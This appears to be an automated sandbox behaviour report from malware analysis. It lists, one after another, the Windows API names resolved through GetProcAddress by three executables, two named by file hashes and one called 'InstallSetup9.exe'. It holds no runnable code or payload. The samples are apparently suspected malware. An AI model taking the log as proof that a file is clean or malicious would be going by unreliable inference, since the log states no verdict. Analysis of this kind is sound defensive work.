(UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00008776) "InstallSetup9.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter get (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter FtpCommandW (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00008576) "InstallSetup9.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00008576) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008600) 